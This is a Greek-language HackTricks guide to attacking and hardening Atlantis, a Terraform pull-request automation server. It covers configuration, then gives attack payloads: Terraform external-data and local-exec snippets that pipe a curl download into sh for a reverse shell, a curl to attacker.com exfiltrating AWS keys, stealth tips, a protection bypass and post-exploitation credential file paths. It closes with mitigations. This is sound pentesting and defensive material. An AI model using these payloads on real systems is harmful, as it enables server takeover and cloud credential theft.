Atlantis Security

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Basic Information

Atlantis βασικά σας βοηθά να εκτελείτε terraform από Pull Requests από τον git server σας.

Local Lab

  1. Πηγαίνετε στη σελίδα atlantis releases στο https://github.com/runatlantis/atlantis/releases και κατεβάστε την κατάλληλη για εσάς.
  2. Δημιουργήστε ένα προσωπικό token (με πρόσβαση σε repo) του χρήστη σας στο github.
  3. Εκτελέστε ./atlantis testdrive και θα δημιουργήσει ένα demo repo που μπορείτε να χρησιμοποιήσετε για να επικοινωνήσετε με το atlantis.
  4. Μπορείτε να αποκτήσετε πρόσβαση στη σελίδα στον 127.0.0.1:4141.

Atlantis Access

Git Server Credentials

Atlantis υποστηρίζει αρκετούς git hosts όπως Github, Gitlab, Bitbucket και Azure DevOps.
Ωστόσο, για να αποκτήσετε πρόσβαση στα repos σε αυτές τις πλατφόρμες και να εκτελέσετε ενέργειες, χρειάζεται να έχει κάποιες παραχωρημένες προνομιακές πρόσβασεις (τουλάχιστον δικαιώματα εγγραφής).
Τα docs προτείνουν να δημιουργήσετε έναν χρήστη σε αυτές τις πλατφόρμες ειδικά για το Atlantis, αλλά κάποιοι άνθρωποι μπορεί να χρησιμοποιούν προσωπικούς λογαριασμούς.

Warning

Σε κάθε περίπτωση, από την οπτική γωνία ενός επιτιθέμενου, ο λογαριασμός Atlantis θα είναι πολύ ενδιαφέρον να παραβιαστεί.

Webhooks

Το Atlantis χρησιμοποιεί προαιρετικά Webhook secrets για να επιβεβαιώσει ότι τα webhooks που λαμβάνει από τον Git host σας είναι νόμιμα.

Ένας τρόπος για να το επιβεβαιώσετε αυτό θα ήταν να επιτρέψετε τις αιτήσεις να προέρχονται μόνο από τις IPs του Git host σας, αλλά ένας πιο εύκολος τρόπος είναι να χρησιμοποιήσετε ένα Webhook Secret.

Σημειώστε ότι εκτός αν χρησιμοποιείτε έναν ιδιωτικό server github ή bitbucket, θα χρειαστεί να εκθέσετε τα webhook endpoints στο Διαδίκτυο.

Warning

Το Atlantis θα εκθέτει webhooks ώστε ο git server να μπορεί να του στείλει πληροφορίες. Από την οπτική γωνία ενός επιτιθέμενου, θα ήταν ενδιαφέρον να γνωρίζει αν μπορείτε να του στείλετε μηνύματα.

Provider Credentials

Από τα docs:

Το Atlantis εκτελεί Terraform απλά εκτελώντας τις εντολές terraform plan και apply στον server στον οποίο φιλοξενείται το Atlantis. Ακριβώς όπως όταν εκτελείτε Terraform τοπικά, το Atlantis χρειάζεται διαπιστευτήρια για τον συγκεκριμένο πάροχο σας.

Είναι δική σας επιλογή πώς να παρέχετε διαπιστευτήρια για τον συγκεκριμένο πάροχο στο Atlantis:

  • Το Atlantis Helm Chart και το AWS Fargate Module έχουν τους δικούς τους μηχανισμούς για τα διαπιστευτήρια παρόχου. Διαβάστε τα docs τους.
  • Αν εκτελείτε το Atlantis σε ένα cloud, τότε πολλά clouds έχουν τρόπους να δώσουν πρόσβαση στο cloud API σε εφαρμογές που εκτελούνται σε αυτά, π.χ.:
  • AWS EC2 Roles (Αναζητήστε “EC2 Role”)
  • GCE Instance Service Accounts
  • Πολλοί χρήστες ρυθμίζουν μεταβλητές περιβάλλοντος, π.χ. AWS_ACCESS_KEY, όπου εκτελείται το Atlantis.
  • Άλλοι δημιουργούν τα απαραίτητα αρχεία ρυθμίσεων, π.χ. ~/.aws/credentials, όπου εκτελείται το Atlantis.
  • Χρησιμοποιήστε τον HashiCorp Vault Provider για να αποκτήσετε διαπιστευτήρια παρόχου.

Warning

Ο κοντέινερ όπου τρέχει το Atlantis θα περιέχει πιθανότατα προνομιακά διαπιστευτήρια για τους παρόχους (AWS, GCP, Github…) που διαχειρίζεται το Atlantis μέσω Terraform.

Web Page

Από προεπιλογή, το Atlantis θα εκτελεί μια ιστοσελίδα στην πόρτα 4141 στον localhost. Αυτή η σελίδα σας επιτρέπει απλά να ενεργοποιήσετε/απενεργοποιήσετε το atlantis apply και να ελέγξετε την κατάσταση του σχεδίου των repos και να τα ξεκλειδώσετε (δεν επιτρέπει να τροποποιήσετε πράγματα, οπότε δεν είναι και τόσο χρήσιμη).

Πιθανώς δεν θα τη βρείτε εκτεθειμένη στο διαδίκτυο, αλλά φαίνεται ότι από προεπιλογή δεν απαιτούνται διαπιστευτήρια για να αποκτήσετε πρόσβαση σε αυτήν (και αν απαιτούνται, atlantis:atlantis είναι οι προεπιλεγμένες).

Server Configuration

Η ρύθμιση για το atlantis server μπορεί να καθοριστεί μέσω σημαιών γραμμής εντολών, μεταβλητών περιβάλλοντος, αρχείου ρυθμίσεων ή ενός μείγματος των τριών.

Οι τιμές επιλέγονται με αυτή τη σειρά:

  1. Σημαίες
  2. Μεταβλητές Περιβάλλοντος
  3. Αρχείο Ρυθμίσεων

Warning

Σημειώστε ότι στη ρύθμιση μπορεί να βρείτε ενδιαφέρουσες τιμές όπως tokens και κωδικούς πρόσβασης.

Repos Configuration

Ορισμένες ρυθμίσεις επηρεάζουν πώς διαχειρίζονται τα repos. Ωστόσο, είναι πιθανό ότι κάθε repo απαιτεί διαφορετικές ρυθμίσεις, οπότε υπάρχουν τρόποι να καθορίσετε κάθε repo. Αυτή είναι η σειρά προτεραιότητας:

  1. Repo /atlantis.yml αρχείο. Αυτό το αρχείο μπορεί να χρησιμοποιηθεί για να καθορίσει πώς το atlantis θα πρέπει να αντιμετωπίζει το repo. Ωστόσο, από προεπιλογή, ορισμένα κλειδιά δεν μπορούν να καθοριστούν εδώ χωρίς κάποιες σημαίες που το επιτρέπουν.
  2. Πιθανώς απαιτείται να επιτραπεί από σημαίες όπως allowed_overrides ή allow_custom_workflows.
  3. Server Side Config: Μπορείτε να το περάσετε με τη σημαία --repo-config και είναι ένα yaml που ρυθμίζει νέες ρυθμίσεις για κάθε repo (υποστηρίζονται regexes).
  4. Προεπιλεγμένες τιμές.

PR Protections

Το Atlantis επιτρέπει να υποδείξετε αν θέλετε το PR να είναι approved από κάποιον άλλο (ακόμα και αν αυτό δεν έχει οριστεί στην προστασία του branch) και/ή να είναι mergeable (προστασίες branch περασμένες) πριν εκτελέσετε apply. Από την άποψη της ασφάλειας, η ρύθμιση και των δύο επιλογών είναι συνιστώμενη.

Σε περίπτωση που το allowed_overrides είναι True, αυτές οι ρυθμίσεις μπορούν να αντικατασταθούν σε κάθε έργο από το αρχείο /atlantis.yml.

Scripts

Η ρύθμιση του repo μπορεί να καθορίσει scripts για εκτέλεση πριν (pre workflow hooks) και μετά (post workflow hooks) από μια ροή εργασίας.

Δεν υπάρχει καμία επιλογή για να επιτρέψετε να καθορίσετε αυτά τα scripts στο repo /atlantis.yml αρχείο.

Workflow

Στη ρύθμιση του repo (server side config) μπορείτε να καθορίσετε μια νέα προεπιλεγμένη ροή εργασίας, ή να δημιουργήσετε νέες προσαρμοσμένες ροές εργασίας. Μπορείτε επίσης να καθορίσετε ποιες repos μπορούν να έχουν πρόσβαση στις νέες που δημιουργούνται.
Στη συνέχεια, μπορείτε να επιτρέψετε το αρχείο atlantis.yaml κάθε repo να καθορίσει τη ροή εργασίας που θα χρησιμοποιηθεί.

Caution

Αν η σημαία server side config allow_custom_workflows είναι ρυθμισμένη σε True, οι ροές εργασίας μπορούν να καθοριστούν στο atlantis.yaml αρχείο κάθε repo. Είναι επίσης πιθανώς απαραίτητο το allowed_overrides να καθορίζει επίσης workflow για να αντικαταστήσει τη ροή εργασίας που θα χρησιμοποιηθεί.
Αυτό θα δώσει βασικά RCE στον server του Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το repo.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest Policy Checking

Το Atlantis υποστηρίζει την εκτέλεση server-side conftest πολιτικών κατά της εξόδου του σχεδίου. Κοινές περιπτώσεις χρήσης για τη χρήση αυτού του βήματος περιλαμβάνουν:

  • Απαγόρευση χρήσης μιας λίστας modules.
  • Επιβεβαίωση χαρακτηριστικών ενός πόρου κατά τη διάρκεια της δημιουργίας.
  • Ανίχνευση μη σκόπιμων διαγραφών πόρων.
  • Πρόληψη κινδύνων ασφαλείας (π.χ. έκθεση ασφαλών θυρών στο κοινό).

Μπορείτε να ελέγξετε πώς να το ρυθμίσετε στα docs.

Atlantis Commands

Στα docs μπορείτε να βρείτε τις επιλογές που μπορείτε να χρησιμοποιήσετε για να εκτελέσετε το Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Επιθέσεις

Warning

Εάν κατά τη διάρκεια της εκμετάλλευσης βρείτε αυτό το σφάλμα: Error: Error acquiring the state lock

Μπορείτε να το διορθώσετε εκτελώντας:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Τροποποίηση ρυθμίσεων σε νέο PR

Αν έχετε δικαιώματα εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλάδο σε αυτό και να δημιουργήσετε ένα PR. Αν μπορείτε να εκτελέσετε atlantis plan (ή ίσως εκτελείται αυτόματα) θα μπορείτε να RCE μέσα στον διακομιστή Atlantis.

Μπορείτε να το κάνετε αυτό κάνοντάς το Atlantis να φορτώσει μια εξωτερική πηγή δεδομένων. Απλά τοποθετήστε ένα payload όπως το παρακάτω στο αρχείο main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Πιο Διακριτική Επίθεση

Μπορείτε να εκτελέσετε αυτήν την επίθεση ακόμα και με πιο διακριτικό τρόπο, ακολουθώντας αυτές τις προτάσεις:

  • Αντί να προσθέσετε το rev shell απευθείας στο αρχείο terraform, μπορείτε να φορτώσετε μια εξωτερική πηγή που περιέχει το rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Μπορείτε να βρείτε τον κώδικα rev shell στο https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

  • Στην εξωτερική πηγή, χρησιμοποιήστε τη λειτουργία ref για να κρύψετε τον κώδικα terraform rev shell σε ένα branch μέσα στο repo, κάτι σαν: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
  • Αντί να δημιουργήσετε ένα PR στο master για να ενεργοποιήσετε το Atlantis, δημιουργήστε 2 branches (test1 και test2) και δημιουργήστε ένα PR από το ένα στο άλλο. Όταν ολοκληρώσετε την επίθεση, απλά αφαιρέστε το PR και τα branches.

Atlantis plan Secrets Dump

Μπορείτε να dump secrets που χρησιμοποιούνται από το terraform εκτελώντας atlantis plan (terraform plan) βάζοντας κάτι τέτοιο στο αρχείο terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Τροποποίηση ρυθμίσεων σε νέο PR

Αν έχετε δικαιώματα εγγραφής σε ένα αποθετήριο, θα μπορείτε να δημιουργήσετε ένα νέο κλάδο σε αυτό και να δημιουργήσετε ένα PR. Αν μπορείτε να εκτελέσετε atlantis apply, θα μπορείτε να κάνετε RCE μέσα στον διακομιστή Atlantis.

Ωστόσο, συνήθως θα χρειαστεί να παρακάμψετε κάποιες προστασίες:

  • Mergeable: Αν αυτή η προστασία είναι ενεργοποιημένη στο Atlantis, μπορείτε να εκτελέσετε atlantis apply μόνο αν το PR είναι mergeable (που σημαίνει ότι η προστασία του κλάδου πρέπει να παρακαμφθεί).
  • Ελέγξτε πιθανές παρακάμψεις προστασιών κλάδου
  • Approved: Αν αυτή η προστασία είναι ενεργοποιημένη στο Atlantis, κάποιος άλλος χρήστης πρέπει να εγκρίνει το PR πριν μπορέσετε να εκτελέσετε atlantis apply
  • Από προεπιλογή μπορείτε να εκμεταλλευτείτε το Gitbot token για να παρακάμψετε αυτή την προστασία

Εκτελώντας terraform apply σε ένα κακόβουλο αρχείο Terraform με local-exec.
Απλά πρέπει να βεβαιωθείτε ότι κάποιο payload όπως τα παρακάτω καταλήγει στο αρχείο main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Ακολουθήστε τις προτάσεις από την προηγούμενη τεχνική για να εκτελέσετε αυτή την επίθεση με πιο διακριτικό τρόπο.

Terraform Param Injection

Όταν εκτελείτε atlantis plan ή atlantis apply, το terraform εκτελείται από κάτω, μπορείτε να περάσετε εντολές στο terraform από το atlantis σχολιάζοντας κάτι όπως:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Κάτι που μπορείτε να περάσετε είναι οι env μεταβλητές που μπορεί να είναι χρήσιμες για να παρακάμψετε κάποιες προστασίες. Ελέγξτε τις terraform env vars στο https://www.terraform.io/cli/config/environment-variables

Προσαρμοσμένη Ροή Εργασίας

Εκτέλεση κακόβουλων προσαρμοσμένων εντολών κατασκευής που καθορίζονται σε ένα αρχείο atlantis.yaml. Το Atlantis χρησιμοποιεί το αρχείο atlantis.yaml από το branch του pull request, όχι από το master.
Αυτή η δυνατότητα αναφέρθηκε σε προηγούμενη ενότητα:

Caution

Εάν η σημαία server side config allow_custom_workflows είναι ρυθμισμένη σε True, οι ροές εργασίας μπορούν να καθοριστούν στο atlantis.yaml αρχείο κάθε repo. Είναι επίσης πιθανό να χρειάζεται η allowed_overrides να καθορίζει επίσης workflow για να παρακάμψει τη ροή εργασίας που πρόκειται να χρησιμοποιηθεί.

Αυτό θα δώσει βασικά RCE στον διακομιστή Atlantis σε οποιονδήποτε χρήστη μπορεί να έχει πρόσβαση σε αυτό το repo.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Παράκαμψη προστασιών plan/apply

Εάν η σημαία server side config allowed_overrides έχει ρυθμιστεί apply_requirements, είναι δυνατό για ένα repo να τροποποιήσει τις προστασίες plan/apply για να τις παρακάμψει.

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

Αν κάποιος στείλει atlantis plan/apply σχόλια στις έγκυρες αιτήσεις σας, θα προκαλέσει την εκτέλεση του terraform όταν δεν το θέλετε.

Επιπλέον, αν δεν έχετε ρυθμίσει στην προστασία κλάδου να ζητάτε επανεκτίμηση κάθε PR όταν προστεθεί μια νέα δέσμευση σε αυτό, κάποιος θα μπορούσε να γράψει κακόβουλες ρυθμίσεις (ελέγξτε τα προηγούμενα σενάρια) στην ρύθμιση του terraform, να εκτελέσει atlantis plan/apply και να αποκτήσει RCE.

Αυτή είναι η ρύθμιση στην προστασία κλάδων του Github:

Webhook Secret

Αν καταφέρετε να κλέψετε το webhook secret που χρησιμοποιείται ή αν δεν υπάρχει κανένα webhook secret που να χρησιμοποιείται, θα μπορούσατε να καλέσετε το webhook του Atlantis και να καλέσετε τις εντολές του atlantis απευθείας.

Bitbucket

Το Bitbucket Cloud δεν υποστηρίζει webhook secrets. Αυτό θα μπορούσε να επιτρέψει στους επιτιθέμενους να παραποιήσουν αιτήματα από το Bitbucket. Βεβαιωθείτε ότι επιτρέπετε μόνο τις διευθύνσεις IP του Bitbucket.

  • Αυτό σημαίνει ότι ένας επιτιθέμενος θα μπορούσε να κάνει ψευδείς αιτήσεις στο Atlantis που φαίνονται ότι προέρχονται από το Bitbucket.
  • Αν καθορίζετε --repo-allowlist, τότε θα μπορούσαν να παραποιήσουν μόνο αιτήματα που αφορούν σε αυτά τα αποθετήρια, οπότε η μεγαλύτερη ζημιά που θα μπορούσαν να προκαλέσουν θα ήταν να εκτελέσουν plan/apply στα δικά σας αποθετήρια.
  • Για να το αποτρέψετε, επιτρέψτε μόνο τις διευθύνσεις IP του Bitbucket (δείτε τις Εξόδους IPv4).

Post-Exploitation

Αν καταφέρατε να αποκτήσετε πρόσβαση στον διακομιστή ή τουλάχιστον έχετε LFI, υπάρχουν μερικά ενδιαφέροντα πράγματα που θα πρέπει να προσπαθήσετε να διαβάσετε:

  • /home/atlantis/.git-credentials Περιέχει διαπιστευτήρια πρόσβασης vcs
  • /atlantis-data/atlantis.db Περιέχει διαπιστευτήρια πρόσβασης vcs με περισσότερες πληροφορίες
  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Αρχείο κατάστασης του Terraform
  • Παράδειγμα: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
  • /proc/1/environ Μεταβλητές περιβάλλοντος
  • /proc/[2-20]/cmdline Γραμμή εντολών του atlantis server (μπορεί να περιέχει ευαίσθητα δεδομένα)

Mitigations

Don’t Use On Public Repos

Επειδή οποιοσδήποτε μπορεί να σχολιάσει σε δημόσιες αιτήσεις, ακόμη και με όλες τις διαθέσιμες ρυθμίσεις ασφαλείας, είναι ακόμα επικίνδυνο να εκτελείτε το Atlantis σε δημόσια αποθετήρια χωρίς σωστή ρύθμιση των ρυθμίσεων ασφαλείας.

Don’t Use --allow-fork-prs

Αν εκτελείτε σε δημόσιο αποθετήριο (το οποίο δεν συνιστάται, δείτε παραπάνω), δεν θα πρέπει να ρυθμίσετε --allow-fork-prs (προεπιλογή false) γιατί οποιοσδήποτε μπορεί να ανοίξει μια αίτηση από το fork του στο αποθετήριο σας.

--repo-allowlist

Το Atlantis απαιτεί να καθορίσετε μια λίστα επιτρεπόμενων αποθετηρίων από τα οποία θα δέχεται webhooks μέσω της σημαίας --repo-allowlist. Για παράδειγμα:

  • Συγκεκριμένα αποθετήρια: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
  • Ολόκληρη η οργάνωσή σας: --repo-allowlist=github.com/runatlantis/*
  • Κάθε αποθετήριο στην εγκατάσταση GitHub Enterprise σας: --repo-allowlist=github.yourcompany.com/*
  • Όλα τα αποθετήρια: --repo-allowlist=*. Χρήσιμο όταν βρίσκεστε σε προστατευμένο δίκτυο αλλά επικίνδυνο χωρίς επίσης να ρυθμίσετε ένα webhook secret.

Αυτή η σημαία διασφαλίζει ότι η εγκατάσταση του Atlantis σας δεν χρησιμοποιείται με αποθετήρια που δεν ελέγχετε. Δείτε atlantis server --help για περισσότερες λεπτομέρειες.

Protect Terraform Planning

Αν οι επιτιθέμενοι υποβάλλουν αιτήσεις με κακόβουλο κώδικα Terraform είναι στο μοντέλο απειλής σας, τότε πρέπει να είστε ενήμεροι ότι οι εγκρίσεις terraform apply δεν είναι αρκετές. Είναι δυνατόν να εκτελέσετε κακόβουλο κώδικα σε ένα terraform plan χρησιμοποιώντας την external data source ή καθορίζοντας έναν κακόβουλο πάροχο. Αυτός ο κώδικας θα μπορούσε στη συνέχεια να εξάγει τα διαπιστευτήριά σας.

Για να το αποτρέψετε, θα μπορούσατε να:

  1. Ψήνετε τους παρόχους στην εικόνα του Atlantis ή να τους φιλοξενείτε και να αρνείστε την έξοδο στην παραγωγή.
  2. Να εφαρμόσετε το πρωτόκολλο μητρώου παρόχων εσωτερικά και να αρνείστε την δημόσια έξοδο, έτσι ελέγχετε ποιος έχει δικαίωμα εγγραφής στο μητρώο.
  3. Να τροποποιήσετε τη ρύθμιση αποθετηρίου server-side του plan βήματος για να επικυρώσετε τη χρήση μη επιτρεπόμενων παρόχων ή πηγών δεδομένων ή PRs από μη επιτρεπόμενους χρήστες. Θα μπορούσατε επίσης να προσθέσετε επιπλέον επικύρωση σε αυτό το σημείο, π.χ. απαιτώντας ένα “thumbs-up” στην PR πριν επιτρέψετε την συνέχιση του plan. Το Conftest θα μπορούσε να είναι χρήσιμο εδώ.

Webhook Secrets

Το Atlantis θα πρέπει να εκτελείται με ρυθμισμένα Webhook secrets μέσω των μεταβλητών περιβάλλοντος $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Ακόμη και με τη σημαία --repo-allowlist ρυθμισμένη, χωρίς ένα webhook secret, οι επιτιθέμενοι θα μπορούσαν να κάνουν αιτήματα στο Atlantis προσποιούμενοι ότι είναι ένα αποθετήριο που είναι στη λίστα επιτρεπόμενων. Τα Webhook secrets διασφαλίζουν ότι τα αιτήματα webhook προέρχονται πραγματικά από τον πάροχο VCS σας (GitHub ή GitLab).

Αν χρησιμοποιείτε Azure DevOps, αντί για webhook secrets προσθέστε ένα βασικό όνομα χρήστη και κωδικό πρόσβασης.

Azure DevOps Basic Authentication

Το Azure DevOps υποστηρίζει την αποστολή ενός βασικού επικεφαλίδας αυθεντικοποίησης σε όλα τα γεγονότα webhook. Αυτό απαιτεί τη χρήση μιας HTTPS διεύθυνσης URL για την τοποθεσία του webhook σας.

SSL/HTTPS

Αν χρησιμοποιείτε webhook secrets αλλά η κίνηση σας είναι μέσω HTTP, τότε τα webhook secrets θα μπορούσαν να κλαπούν. Ενεργοποιήστε το SSL/HTTPS χρησιμοποιώντας τις σημαίες --ssl-cert-file και --ssl-key-file.

Enable Authentication on Atlantis Web Server

Συνιστάται πολύ να ενεργοποιήσετε την αυθεντικοποίηση στην υπηρεσία ιστού. Ενεργοποιήστε το BasicAuth χρησιμοποιώντας τη σημαία --web-basic-auth=true και ρυθμίστε ένα όνομα χρήστη και έναν κωδικό πρόσβασης χρησιμοποιώντας τις σημαίες --web-username=yourUsername και --web-password=yourPassword.

Μπορείτε επίσης να περάσετε αυτά ως μεταβλητές περιβάλλοντος ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername και ATLANTIS_WEB_PASSWORD=yourPassword.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks